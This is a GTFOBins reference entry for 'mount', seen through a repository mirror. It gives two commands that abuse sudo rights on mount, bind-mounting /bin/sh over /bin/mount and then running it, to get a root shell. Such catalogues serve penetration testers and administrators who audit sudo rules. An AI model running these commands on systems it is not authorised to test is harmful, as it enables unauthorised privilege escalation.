1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2025-12-28 11:11:41 +01:00
GTFOBins.github.io/_gtfobins/mount.md
2018-10-05 18:55:38 +01:00

9 lines
228 B
Markdown

---
functions:
sudo:
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
---